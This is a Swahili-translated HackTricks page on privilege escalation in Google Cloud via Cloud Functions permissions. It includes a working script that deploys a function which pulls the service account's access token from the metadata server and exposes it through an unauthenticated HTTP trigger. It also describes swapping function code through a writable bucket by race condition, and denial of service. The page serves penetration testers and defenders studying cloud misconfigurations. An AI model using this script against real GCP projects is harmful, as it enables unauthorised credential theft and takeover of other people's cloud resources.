GCP - Cloudfunctions Privesc
Reading time: 5 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
cloudfunctions
Taarifa zaidi kuhusu Cloud Functions:
cloudfunctions.functions.create
, cloudfunctions.functions.sourceCodeSet
, iam.serviceAccounts.actAs
Mshambuliaji mwenye ruhusa hizi anaweza kuunda Cloud Function mpya yenye msimbo (mbaya) wa kiholela na kupewa Akaunti ya Huduma. Kisha, vuja tokeni ya Akaunti ya Huduma kutoka kwenye metadata ili kupandisha ruhusa kwake.
Ruhusa zingine za kuanzisha kazi hiyo zinaweza kuhitajika.
Mifano ya skripti za kutumia mbinu hii inaweza kupatikana hapa na hapa na faili ya .zip iliyojengwa tayari inaweza kupatikana hapa.
cloudfunctions.functions.update
, cloudfunctions.functions.sourceCodeSet
, iam.serviceAccounts.actAs
Mshambuliaji mwenye ruhusa hizi anaweza kubadilisha msimbo wa Kazi na hata kubadilisha akaunti ya huduma iliyounganishwa kwa lengo la kuhamasisha tokeni.
caution
Ili kupeleka kazi za wingu, pia utahitaji ruhusa za actAs juu ya akaunti ya huduma ya kawaida ya kompyuta au juu ya akaunti ya huduma inayotumika kujenga picha.
Ruhusa za ziada kama ruhusa ya .call
kwa toleo la 1 la cloudfunctions au jukumu role/run.invoker
ili kuanzisha kazi hiyo zinaweza kuhitajika.
# Create new code
temp_dir=$(mktemp -d)
cat > $temp_dir/main.py <<EOF
import subprocess
def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF
echo "" > $temp_dir/requirements.txt
zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt
# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
caution
Ikiwa unapata kosa Permission 'run.services.setIamPolicy' denied on resource...
ni kwa sababu unatumia param --allow-unauthenticated
na huna ruhusa za kutosha kwa hiyo.
Script ya exploit kwa njia hii inaweza kupatikana hapa.
cloudfunctions.functions.sourceCodeSet
Kwa ruhusa hii unaweza kupata URL iliyo saini ili uweze kupakia faili kwenye mfuko wa kazi (lakini msimbo wa kazi hautabadilishwa, bado unahitaji kuisasisha)
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
Sijui jinsi ruhusa hii pekee inavyoweza kuwa na manufaa kutoka kwa mtazamo wa mshambuliaji, lakini ni vizuri kujua.
cloudfunctions.functions.setIamPolicy
, iam.serviceAccounts.actAs
Jipe ruhusa yoyote kati ya .update
au .create
zilizotangulia ili kupandisha hadhi.
cloudfunctions.functions.update
Kuwa na ruhusa za cloudfunctions
pekee, bila iam.serviceAccounts.actAs
huwezi kusaidia kusasisha kazi HII SI VALID PRIVESC.
Upatikanaji wa Kusoma na Kuandika juu ya bucket
Ikiwa una upatikanaji wa kusoma na kuandika juu ya bucket unaweza kufuatilia mabadiliko katika msimbo na wakati wowote sasisho katika bucket linapotokea unaweza kusasisha msimbo mpya na msimbo wako ambao toleo jipya la Cloud Function litakimbia na msimbo wa nyuma uliowasilishwa.
Unaweza kuangalia zaidi kuhusu shambulio katika:
Hata hivyo, huwezi kutumia hii kujiandaa kabla ya kuathiri Cloud Functions za watu wengine kwa sababu ikiwa utaunda bucket katika akaunti yako na kuipa ruhusa za umma ili mradi wa nje uweze kuandika juu yake, unapata kosa lifuatalo:
 (1) (1).png)
caution
Hata hivyo, hii inaweza kutumika kwa shambulio za DoS.
Upatikanaji wa Kusoma na Kuandika juu ya Katalogi ya Vifaa
Wakati Cloud Function inaundwa, picha mpya ya docker inasukumwa kwenye Katalogi ya Vifaa ya mradi. Nilijaribu kubadilisha picha hiyo na picha mpya, na hata kufuta picha ya sasa (na picha ya cache
) na hakuna kilichobadilika, kazi ya wingu inaendelea kufanya kazi. Kwa hivyo, labda inaweza kuwa na uwezo wa kutumia shambulio la Race Condition kama ilivyo na bucket kubadilisha kontena la docker ambalo litakimbia lakini kubadilisha picha iliyohifadhiwa si rahisi kuathiri Cloud Function.
Marejeleo
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.